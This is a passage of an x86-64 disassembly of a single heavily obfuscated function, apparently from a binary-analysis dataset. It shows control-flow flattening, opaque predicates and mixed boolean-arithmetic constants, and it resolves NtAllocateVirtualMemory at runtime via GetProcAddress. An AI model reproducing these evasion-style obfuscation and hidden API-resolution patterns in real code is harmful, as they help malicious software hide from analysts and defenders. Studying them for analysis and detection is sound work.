Function at 0x1400ad9f0
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x48
mov rax, qword [0x14024b008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x4d96c0a2
mov ecx, ebx
and ecx, 0xb2693f5c
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa0693b4c
xor ecx, 0x4d96c0a3
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
mov esi, edx
not esi
mov eax, ecx
and eax, 0x1e940492
and ebp, 0xe16bfb6c
or ebp, eax
or ecx, esi
and esi, 0x1e940492
and edx, 0xe16bfb6d
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0xecaa4499
and ecx, 0x1355bb66
or ecx, eax
mov eax, ecx
xor eax, 0x315aa46
and edi, 0x88182132
and ebx, 0x77e7decd
or ebx, edi
mov edx, ebx
xor edx, 0x63278a45
xor ecx, 0xecaa4499
xor ebx, 0x88182132
mov ebp, ecx
and ebp, 0x1cc855b8
and eax, 0xe337aa47
or eax, ebp
or ecx, ebx
and ebx, 0x1cc855b8
and edx, 0xe337aa47
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete byte [rsp + 0x2e]
cmp r8d, 0xa
setl byte [rsp + 0x2f]
mov r14d, 0xd06d9e1e
mov r15d, 0xb1b866c6
mov r12d, 0x75df3b42
mov r13d, 0xd58bbeb6
mov ecx, 0x888a0f30
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edx, ebx
not edx
mov ecx, edx
and ecx, 0x5f2713e9
mov ebp, ebx
xor ebp, 0x5f2713e9
and ebp, ebx
mov edi, ecx
and edi, ebp
xor ebp, ecx
or ebp, edi
mov ecx, ebp
not ecx
and ecx, 0xa0d8ec17
and ebp, 0x5f2713e8
or ebp, ecx
mov ecx, ebp
not ecx
and edx, ecx
and ebp, ebx
or ebp, edx
xor ecx, ebp
test ecx, ebp
sete dl
setne r8b
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
xor r8b, al
mov ecx, edx
xor cl, bl
or bl, dl
xor bl, 1
or bl, r8b
mov r8d, ebx
xor r8b, 1
and cl, dl
or al, dl
xor al, 1
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov r9d, eax
xor r9b, 1
mov ecx, ebx
and cl, r8b
mov edx, r9d
and dl, al
mov r10d, ebx
and r10b, cl
xor cl, bl
or cl, r10b
xor bl, r9b
xor r9b, dl
xor dl, 1
or dl, al
xor dl, 1
or dl, r9b
xor dl, cl
or al, r8b
xor al, 1
or al, bl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x20e6eb2f
mov ebp, 0xd3c55b90
cmovne ecx, ebp
test al, 1
mov eax, 0x20e6eb2f
cmovne eax, ecx
test dl, 1
cmove eax, ecx
mov ecx, eax
nop word [rax + rax]
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
cmp ecx, 0x3c8e032f
jle 0x1400ae0a0
cmp ecx, 0x5e5218d5
jg 0x1400ae21f
cmp ecx, 0x4ae1a6ef
jle 0x1400ae944
cmp ecx, 0x57d178ce
jle 0x1400af532
cmp ecx, 0x5ab5cf4b
jle 0x1400b0563
cmp ecx, 0x5ca3e6de
jle 0x1400b245b
cmp ecx, 0x5ca3e6df
je 0x1400b5d7a
cmp ecx, 0x5dce3b9c
je 0x1400b5ee0
cmp ecx, 0x5e0881ca
jne 0x1400adc00
mov ecx, 0xc18d3b3f
cmp ecx, 0xfbd0f30f
jg 0x1400adc08
nop dword [rax]
cmp ecx, 0xc1464445
jg 0x1400ade30
cmp ecx, 0x9f7e2ee8
jg 0x1400ae38f
cmp ecx, 0x8e49db47
jle 0x1400aeaf2
cmp ecx, 0x97d09cc9
jle 0x1400af65e
cmp ecx, 0x9c8de0fa
jle 0x1400b06ea
cmp ecx, 0x9e15bbf6
jle 0x1400b253a
cmp ecx, 0x9e15bbf7
je 0x1400b6039
cmp ecx, 0x9ef58800
je 0x1400b6199
cmp ecx, 0x9f29bcd0
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ebp, ebx
not ebp
mov edx, ebp
and edx, 0x58840002
mov ecx, ebx
and ecx, 0x184400
or ecx, edx
xor ecx, 0x184400
mov edx, ebx
xor edx, 0x589c4402
and edx, ebx
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0xd202d0d0
and edx, 0x2dfd2f2f
or edx, ecx
mov ecx, edx
xor ecx, 0x4441612c
xor edx, 0x8a9214c1
and edx, 0xbbb21ec1
and ecx, 0x444de13e
or ecx, edx
mov edx, ecx
xor edx, 0x404ce01c
and ebp, 0x9ea339ca
and ebx, 0x615cc635
or ebx, ebp
mov ebp, ebx
xor ebp, 0x604cc615
xor ecx, 0xbbb21ec1
xor ebx, 0x9ea339ca
mov edi, ecx
and edi, 0x1f3309a2
and edx, 0xe0ccf65d
or edx, edi
or ecx, ebx
and ebx, 0x1f3309a2
and ebp, 0xe0ccf65d
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x600ffa6f
and ecx, 0x9ff00590
or ecx, edx
xor ecx, 0x9ff00590
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
xor dl, bl
or bl, cl
or cl, r8b
xor cl, 1
or cl, dl
or al, r8b
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov ebx, eax
xor bl, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, eax
xor r8b, dl
or dl, al
xor dl, 1
or dl, r8b
xor dl, cl
mov eax, ecx
and al, bl
xor bl, cl
or bl, al
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x8473fc34
cmovne eax, r13d
test bl, 1
mov ecx, 0x8473fc34
jmp 0x1400bb907
cmp ecx, 0xdcd56966
jg 0x1400ae5bd
cmp ecx, 0xcffbe430
jle 0x1400aec61
cmp ecx, 0xd48b56de
jle 0x1400af7d9
cmp ecx, 0xd7d021e0
jle 0x1400b0724
cmp ecx, 0xd8952235
jle 0x1400b2574
cmp ecx, 0xd8952236
je 0x1400b623d
cmp ecx, 0xdbe23f49
je 0x1400b6369
cmp ecx, 0xdc91d38c
jne 0x1400adc00
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b730]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x5f449198
and ecx, edx
and edx, 0xa0bb6e67
or edx, ebp
mov ebp, edx
xor ebp, 0x80bb6806
xor edx, 0x5f449198
mov ebx, ecx
not ebx
mov edi, edx
and edi, 0x21009679
and ebp, 0xdeff6986
or ebp, edi
or edx, ebx
and ebx, 0x21009679
and ecx, 0xdeff6986
or ecx, ebx
xor ecx, ebp
not edx
or edx, ecx
mov ebp, edx
mov ecx, edx
xor ecx, 0x898b236e
and ecx, edx
not edx
and edx, 0xd65e13d9
and ebp, 0x29a1ec26
or ebp, edx
mov edi, ebp
xor edi, 0x29a1ec26
mov edx, ebp
xor edx, 0x5fd530b7
and edx, edi
mov ebx, edx
and ebx, ecx
xor ecx, edx
mov edx, dword [0x14024b72c]
or ecx, ebx
mov ebx, ecx
not ebx
and ebx, 0xe4aa1553
and ecx, 0x1b55eaac
or ecx, ebx
mov ebx, ecx
xor ebx, 0x12c24042
and edi, 1
xor ebp, 0x29a1ec27
or ebp, edi
mov edi, ebp
not edi
and edi, 0xd23b0407
and ebp, 0x2dc4fbf8
or ebp, edi
xor ecx, 0x6d21363c
mov edi, ecx
and edi, 0x8c1cafa1
and ebx, 0x73e3505e
or ebx, edi
mov edi, ebp
xor edi, 0x21c05058
xor ebp, 0xd23b0407
or ecx, ebp
and ebp, 0x8c1cafa1
and edi, 0x73e3505e
or edi, ebp
xor edi, ebx
not ecx
or ecx, edi
mov ebx, ecx
not ebx
mov ebp, ebx
and ebp, ecx
mov edi, ecx
and edi, 0xe5e48354
and ebx, 0x1a1b7cab
or ebx, edi
mov edi, ebp
not edi
or ecx, edi
and edi, 0xe5e48354
and ebp, 0x1a1b7cab
or ebp, edi
xor ebp, ebx
not ecx
or ecx, ebp
mov ebp, ecx
not ebp
and ecx, 0x23b3f5fd
and ebp, 0xdc4c0a02
or ebp, ecx
xor ebp, 0xdc4c0a02
sete r10b
setne r8b
cmp edx, 0xa
setl r9b
cmp edx, 9
setg bl
mov r11d, ebx
and r10b, bl
and bl, r8b
xor r11b, r8b
or r11b, bl
and r9b, r8b
or r10b, r9b
mov ecx, r10d
xor cl, 1
mov edx, r11d
mov ebx, ecx
mov r8d, r11d
mov r9d, ecx
mov esi, r11d
and sil, cl
xor cl, r11b
xor r11b, 1
and dl, r11b
xor r8b, dl
xor dl, 1
or dl, r11b
xor dl, 1
or dl, r8b
and bl, r10b
xor r9b, bl
xor bl, 1
or bl, r10b
xor bl, 1
or bl, r9b
xor bl, dl
or cl, sil
mov edx, ecx
xor dl, bl
test cl, cl
mov ecx, 0xc63f1d61
mov ebp, 0x7c66608d
cmovne ecx, ebp
test bl, 1
cmove ecx, ebp
mov qword [rsp + 0x30], rax
test dl, 1
mov eax, 0xc63f1d61
jmp 0x1400bc0e6
cmp ecx, 0x18098c67
jg 0x1400ae627
cmp ecx, 0xf275b24
jle 0x1400ae734
cmp ecx, 0x175636b6
jg 0x1400af38b
cmp ecx, 0x11472601
jle 0x1400b075e
cmp ecx, 0x1276a400
jg 0x1400b242d
cmp ecx, 0x11472602
je 0x1400b57c4
cmp ecx, 0x1173d7d1
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rdx - 1]
imul ebx, edx
mov ecx, ebx
not ecx
mov ebp, ecx
and ebp, 0xb4852f81
mov edx, ebx
xor edx, 0xb4852f81
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0x4b7ad07f
and edx, 0xb4852f80
or edx, ebp
and ecx, 0x6b336fef
and ebx, 0x94cc9010
or ebx, ecx
mov ecx, ebx
xor ecx, 0x808c1010
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x3f43e345
and edx, 0xc0bc1cba
or edx, edi
xor ebx, 0x2b036345
and ebx, 0x3f43e345
and ecx, 0xc0bc1cba
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl cl
cmp eax, 9
setg r11b
mov eax, r11d
xor al, cl
and al, r11b
mov ebx, eax
xor bl, 1
and al, bl
xor al, 1
mov r10d, eax
xor r10b, bl
or al, bl
xor al, 1
or al, r10b
mov ebx, eax
xor bl, 1
and bl, r9b
and al, r8b
or al, bl
and r9b, cl
and r11b, r8b
or r11b, r9b
mov ebx, ecx
and bl, r8b
xor cl, r8b
or cl, bl
xor cl, 1
mov edx, r11d
and dl, cl
xor cl, r11b
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ebx, eax
or bl, dl
xor al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov edx, 0xc18d3b3f
mov ecx, 0x5e0881ca
cmovne edx, ecx
test al, 1
mov ecx, edx
mov eax, 0xc18d3b3f
cmovne ecx, eax
jmp 0x1400bc54c
cmp ecx, 0x70ea60cf
jle 0x1400aedb0
cmp ecx, 0x74cf1e8b
jle 0x1400af81f
cmp ecx, 0x796eb76b
jle 0x1400b079d
cmp ecx, 0x7c0358c7
jle 0x1400b263c
cmp ecx, 0x7c0358c8
je 0x1400b655b
cmp ecx, 0x7c66608d
je 0x1400b668b
cmp ecx, 0x7ff66052
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov edi, ebx
not edi
mov ebp, edi
and ebp, 0x5c6cff20
mov ecx, ebx
and ecx, 0xa39300df
or ecx, ebp
mov ebp, ecx
xor ebp, 0xa3920000
xor ecx, 0x5c6cff20
mov edx, ebx
xor edx, 0xfffffffe
and edx, ebx
or ecx, 1
mov esi, edx
not esi
mov eax, ecx
and eax, 0x584902de
and ebp, 0xa7b6fd20
or ebp, eax
or ecx, esi
and esi, 0x584902de
and edx, 0xa7b6fd21
or edx, esi
xor edx, ebp
not ecx
or ecx, edx
mov eax, ecx
not eax
and edi, 0x927d7c5b
and ebx, 0x6d8283a4
or ebx, edi
mov edx, ebx
xor edx, 0x44008220
xor ebx, 0x927d7c5b
mov ebp, ecx
and ebp, 0x39f745df
and eax, 0xc608ba20
or eax, ebp
or ecx, ebx
and ebx, 0x39f745df
and edx, 0xc608ba20
or edx, ebx
xor edx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
sete al
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and bl, al
and cl, dl
or cl, bl
mov ebx, edx
and bl, al
xor dl, al
or dl, bl
mov eax, ecx
xor al, 1
or al, dl
xor dl, cl
xor dl, 1
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and al, dl
mov ebx, edx
and bl, al
xor al, dl
or al, bl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0x601ce0e2
mov ecx, 0xe6fd93cc
cmovne ebp, ecx
test al, 1
mov ecx, 0x601ce0e2
jmp 0x1400b1c41
cmp ecx, 0xafe4d894
jle 0x1400aef2e
cmp ecx, 0xb52463dd
jle 0x1400af913
cmp ecx, 0xbda44769
jle 0x1400b07d7
cmp ecx, 0xbe64b051
jle 0x1400b266a
cmp ecx, 0xbe64b052
je 0x1400b66b5
cmp ecx, 0xbe9d0221
je 0x1400b67a9
cmp ecx, 0xc02a4976
jne 0x1400adc00
mov rcx, qword [0x14024b040]
lea rdx, str.NtAllocateVirtualMemory
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, dword [0x14024b730]
mov r8d, dword [0x14024b72c]
lea edi, [rcx - 1]
imul edi, ecx
mov ebp, edi
not ebp
mov ecx, edi
xor ecx, 0x46d5b169
and ecx, edi
or edi, 0xb92a4e96
mov ebx, ecx
not ebx
mov edx, edi
and edx, 0xd4b22b91
and ebp, 0x2459068
or ebp, edx
or edi, ebx
and ebx, 0xd4b22b91
and ecx, 0x2b4dd46e
or ecx, ebx
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
not ecx
and ecx, 0xb92a4e96
and edi, 0x46d5b169
or edi, ecx
mov ebx, edi
not ebx
mov ebp, edi
or ebp, 0x114d7a22
mov ecx, ebp
not ecx
mov edx, edi
xor edx, 0xeeb285dd
and edx, edi
mov esi, edx
not esi
mov eax, ebp
and eax, 0x834ca844
and ecx, 0x6cb20599
or ecx, eax
or ebp, esi
and esi, 0x834ca844
and edx, 0x7cb357bb
or edx, esi
xor edx, ecx
not ebp
or ebp, edx
mov eax, ebp
not eax
and eax, 0x114d7a23
and ebp, 0xeeb285dc
or ebp, eax
and edi, 0x42200ebe
mov eax, ebx
and eax, 0xbddff141
or eax, edi
xor eax, 0x42200ebf
and ebx, 1
or ebx, eax
mov eax, ebx
not eax
and eax, 0x64ccc53
and ebx, 0xf9b333ac
or ebx, eax
mov eax, ebx
xor eax, 0x8133320c
xor ebx, 0x64ccc53
mov ecx, ebp
not ecx
mov edx, ecx
and edx, 0x7a8c0da2
and ebp, 0x8573f25d
or ebp, edx
or ecx, ebx
and ebx, 0x7a8c0da2
and eax, 0x8573f25d
or eax, ebx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, ecx
and edx, 0x93eae663
and eax, 0x6c15199c
or eax, edx
xor eax, 0x6c15199c
or eax, ecx
cmp eax, 0xffffffff
setne r9b
sete r11b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg dl
mov r8d, r11d
or r8b, dl
mov ecx, r11d
xor cl, dl
mov eax, ecx
not al
and al, dl
mov ebx, r8d
xor bl, al
xor al, 1
xor bl, 1
or al, r8b
xor al, 1
or al, bl
and cl, dl
and r10b, r9b
and dl, r11b
or dl, r10b
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
mov ebx, edx
xor bl, 1
xor al, 1
mov ecx, edx
and cl, bl
mov r8d, edx
xor r8b, cl
xor cl, 1
or cl, bl
xor cl, 1
or cl, r8b
xor cl, al
mov ebx, eax
and bl, dl
xor al, dl
or al, bl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x897972fe
mov ebp, 0x6bec7e3a
cmovne edx, ebp
test al, 1
mov eax, 0x897972fe
jmp 0x1400b47e4
cmp ecx, 0xeb107f90
jle 0x1400af0f0
cmp ecx, 0xf339a7d0
jle 0x1400afaf9
cmp ecx, 0xf6ae98e4
jle 0x1400b0811
cmp ecx, 0xf9783b58
jle 0x1400b2698
cmp ecx, 0xf9783b59
je 0x1400b67cb
cmp ecx, 0xf9bea2a1
je 0x1400b69ce
cmp ecx, 0xfb010d94
jne 0x1400adc00
mov ecx, 0x9e15bbf7
cmp ecx, 0xfbd0f30f
jle 0x1400adc80
jmp 0x1400adc08
cmp ecx, 0x25c6027e
jle 0x1400af235
cmp ecx, 0x2bcd5a98
jg 0x1400afc86
cmp ecx, 0x29c0bfb4
jg 0x1400b098e
cmp ecx, 0x27a052f7
jg 0x1400b27fe
cmp ecx, 0x25c6027f
je 0x1400b6b74
cmp ecx, 0x25d92a3d
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea ecx, [rax - 1]
imul ecx, eax
mov ebp, ecx
not ebp
mov edx, ebp
and edx, 0xde0cc607
mov eax, ecx
xor eax, 0xde0cc607
and eax, ecx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0xb5311f75
and eax, 0x4acee08a
or eax, edx
xor eax, 0x6b3dd973
and ebp, 0xe9dfe85f
and ecx, 0x162017a0
or ecx, ebp
xor ecx, 0x162017a0
mov edx, eax
and edx, ecx
xor ecx, eax
or ecx, edx
cmp ecx, 0xffffffff
setne al
cmp dword [0x14024b72c], 9
setg r8b
mov edx, r8d
and dl, al
xor r8b, al
or dl, r8b
mov eax, edx
xor al, 1
mov ecx, eax
and cl, dl
mov ebx, ecx
xor bl, 1
xor cl, al
or bl, dl
xor bl, 1
or bl, cl
xor bl, r8b
or al, r8b
xor r8b, dl
xor r8b, 1
xor al, 1
or al, r8b
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0x8ca6124b
mov eax, 0x7205977b
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0x8ca6124b
jmp 0x1400bc0e6
cmp ecx, 0x204f70a
jle 0x1400afddc
cmp ecx, 0x660f0ac
jle 0x1400b09c8
cmp ecx, 0xaf34985
jle 0x1400b294d
cmp ecx, 0xaf34986
je 0x1400b6c27
cmp ecx, 0xba89c29
je 0x1400b6d4a
cmp ecx, 0xc7b609c
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x6557aa4b
and ecx, edx
and edx, 0x9aa855b4
or edx, ebp
xor edx, 0x9aa855b4
mov ebp, edx
and ebp, ecx
xor edx, ecx
or edx, ebp
mov esi, edx
mov ecx, edx
xor ecx, 0x131d70a0
and ecx, edx
not edx
and edx, 0xcd681b76
and esi, 0x3297e489
or esi, edx
mov edi, esi
xor edi, 0x3297e489
mov ebp, esi
xor ebp, 0xde756bd6
and ebp, edi
mov ebx, ebp
and ebx, ecx
xor ecx, ebp
or ecx, ebx
mov ebp, ecx
not ebp
and ebp, 0x2aecd6c9
and ecx, 0xd5132936
or ecx, ebp
mov ebx, ecx
xor ebx, 0xc2021900
xor esi, 0x1481330
and esi, 0x23cfb3b9
mov edx, edi
and edx, 0xdc304c46
or edx, esi
xor edx, 0x23cfb3b8
and edi, 1
or edi, edx
mov edx, edi
not edx
xor ecx, 0x39f1a668
mov ebp, ecx
and ebp, 0x351de6bf
and ebx, 0xcae21940
or ebx, ebp
or ecx, edi
and edi, 0x351de6bf
and edx, 0xcae21940
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
xor edx, 0x87dd7f05
and edx, ecx
not ecx
and ecx, 0x87dd7f05
mov ebp, ecx
and ebp, edx
xor edx, ecx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x782280fa
and edx, 0x87dd7f05
or edx, ecx
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0xc9e2e90
and edx, 0xf361d16f
or edx, ebp
xor edx, 0xc9e2e90
xor ecx, edx
test ecx, edx
setne r9b
sete bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl r8b
xor r8b, bl
mov r10d, r8d
xor r10b, 1
xor bl, cl
mov edx, ecx
xor dl, r9b
or cl, r9b
xor cl, 1
or cl, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov eax, r10d
and al, r8b
and dl, cl
mov ebx, r10d
and bl, al
xor al, r10b
or al, bl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov ebx, eax
xor bl, 1
and bl, dl
xor dl, 1
and dl, al
or dl, bl
mov eax, r8d
xor al, cl
or cl, r8b
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xbe64b052
mov ebp, 0x796eb76c
cmovne eax, ebp
test cl, 1
mov ecx, 0xbe64b052
jmp 0x1400bb907
cmp ecx, 0x40d80802
jg 0x1400afef2
cmp ecx, 0x3dfbe17c
jg 0x1400b0a02
cmp ecx, 0x3db0aaf4
jg 0x1400b297b
cmp ecx, 0x3c8e0330
je 0x1400b6e2e
cmp ecx, 0x3d03aa45
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x1342700
mov ebp, ebx
and ebp, 0x100b0080
or ebp, edx
xor ebp, 0x100b0080
mov edx, ebx
xor edx, 0x113f2780
and edx, ebx
mov edi, ebp
and edi, edx
xor edx, ebp
or edx, edi
mov ebp, edx
not ebp
and ebp, 0xeec0d87e
and edx, 0x113f2781
or edx, ebp
mov ebp, edx
not ebp
mov edi, ebp
and edi, 0x8102125e
and edx, 0x7efdeda1
or edx, edi
and ebx, 0x8102125e
and ecx, 0x7efdeda1
or ecx, ebx
xor ecx, edx
xor ebp, ecx
test ebp, ecx
sete r8b
setne r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg r11b
mov edx, r11d
xor dl, r10b
and dl, r11b
mov ebx, r9d
xor bl, r8b
and bl, r9b
mov ecx, edx
xor cl, 1
mov eax, edx
and al, cl
mov esi, eax
and sil, dl
xor al, dl
or al, sil
or cl, dl
xor cl, 1
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
or al, bl
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
xor cl, 1
mov ebx, ecx
xor bl, al
xor bl, 1
and bl, al
or cl, al
xor bl, 1
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
mov eax, r11d
or r11b, r9b
and r9b, r10b
and al, r8b
or al, r9b
xor r10b, r8b
xor r11b, 1
or r11b, r10b
xor al, 1
mov ecx, eax
xor cl, r11b
or al, r11b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and cl, al
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ebx
xor al, 1
mov edx, eax
and dl, bl
mov r8d, eax
and r8b, dl
xor dl, al
or dl, r8b
xor dl, cl
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xb52463de
mov ebp, 0x564797c8
cmovne ecx, ebp
test dl, 1
cmovne ecx, ebp
not al
test al, 1
mov eax, 0xb52463de
jmp 0x1400bc0e6
cmp ecx, 0x897972fd
jg 0x1400b002a
cmp ecx, 0x87814d2e
jg 0x1400b0b85
cmp ecx, 0x8473fc33
jg 0x1400b2b0f
cmp ecx, 0x803f0380
je 0x1400b6fd9
cmp ecx, 0x80eb21b3
jne 0x1400adc00
mov eax, dword [0x14024b730]
lea edx, [rax - 1]
imul edx, eax
mov ecx, edx
not ecx
and edx, 0xac9c1679
and ecx, 0x5363e986
or ecx, edx
mov eax, ecx
xor eax, 0xac9c1679
mov edx, ecx
xor edx, 0x11020800
and edx, 0x1d121860
xor ecx, 0x7cd5be24
and ecx, eax
and eax, 0xe2ede79f
or eax, edx
mov ebp, eax
xor ebp, 0xe2ede79f
mov ebx, eax
xor ebx, 0xcd5bb03d
and ebx, ebp
mov edx, ebx
not edx
mov edi, ecx
not edi
mov esi, edx
and esi, 0x33bb1209
and ebx, 0xcc44edf6
or ebx, esi
or edx, edi
and edi, 0x33bb1209
and ecx, 0xcc44edf6
or ecx, edi
xor ecx, ebx
not edx
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0xafec77c1
and edx, 0x5013883e
or edx, ecx
xor edx, 0x805a2062
and ebp, 1
xor eax, 0xe2ede79e
or eax, ebp
not eax
mov ecx, edx
and ecx, eax
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8c840147
mov edx, eax
and edx, 0x1078fa10
or edx, ecx
xor edx, 0x1078fa10
and eax, 0x630304a8
or eax, edx
mov ecx, eax
not ecx
and ecx, 0x630304a8
and eax, 0x9cfcfb57
or eax, ecx
sete al
cmp dword [0x14024b72c], 9
setg cl
mov edx, ecx
xor dl, al
mov ebx, edx
xor bl, cl
and bl, dl
not dl
and dl, al
or cl, al
xor dl, 1
mov eax, edx
xor al, cl
or dl, cl
xor dl, 1
or dl, al
mov eax, edx
xor al, bl
or dl, bl
xor dl, 1
or dl, al
mov ecx, edx
xor cl, al
test cl, 1
mov ecx, 0x6ed46666
cmovne ecx, r12d
test dl, 1
mov edx, 0x6ed46666
jmp 0x1400b9473
cmp ecx, 0xc5a37c5b
jg 0x1400b0174
cmp ecx, 0xc277a3b7
jg 0x1400b0ceb
cmp ecx, 0xc1b0cafd
jg 0x1400b2c48
cmp ecx, 0xc1464446
je 0x1400b71be
cmp ecx, 0xc18d3b3f
jne 0x1400adc00
mov ecx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x40ac2e4f
and ecx, edx
not edx
and edx, 0x40ac2e4f
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xbf53d1b0
and ecx, 0x40ac2e4f
or ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
and ebp, 0xfffffffe
and edx, 0x333e6b60
and ecx, 0xccc1949f
or ecx, edx
xor ecx, 0xccc1949e
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0xe5c870a0
and edx, ecx
and ecx, 0x1a378f5f
or ecx, ebp
xor ecx, 0x1a378f5f
mov ebp, ecx
and ebp, edx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0xdd397aeb
and ecx, 0x22c68514
or ecx, edx
mov edx, ecx
xor edx, 0x22c60500
xor ecx, 0x55392882
and ecx, 0x5539a896
and edx, 0xaac65769
or edx, ecx
xor edx, 0x5539a896
cmp edx, 0xffffffff
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
mov edx, ecx
and dl, al
and cl, bl
and bl, r8b
or bl, dl
mov edx, ebx
xor dl, al
and dl, bl
and al, r8b
or al, cl
xor al, dl
mov ebx, eax
not bl
and bl, dl
mov edx, ebx
xor dl, al
test al, al
mov ecx, 0x5e0881ca
mov eax, 0x70ea60d0
cmovne ecx, eax
test bl, bl
mov ebp, 0x5e0881ca
cmove ecx, ebp
test dl, dl
jmp 0x1400bbe07
cmp ecx, 0x69af1abc
jg 0x1400b01ba
cmp ecx, 0x637a602e
jg 0x1400b0f3a
cmp ecx, 0x601ce0e1
jg 0x1400b2da1
cmp ecx, 0x5e5218d6
je 0x1400b7390
cmp ecx, 0x5efac84a
jne 0x1400adc00
mov edx, dword [0x14024b730]
mov eax, dword [0x14024b72c]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebp, ecx
xor ebp, 0xe5971874
and ebp, ecx
or ecx, 0x1a68e78b
mov ebx, ebp
not ebx
mov edi, ecx
and edi, 0xddcfaf1b
and edx, 0x20101064
or edx, edi
or ecx, ebx
and ebx, 0xddcfaf1b
and ebp, 0x223050e4
or ebp, ebx
xor ebp, edx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x6e559552
and ecx, 0x91aa6aad
or ecx, edx
mov edx, ecx
xor edx, 0x743d72d9
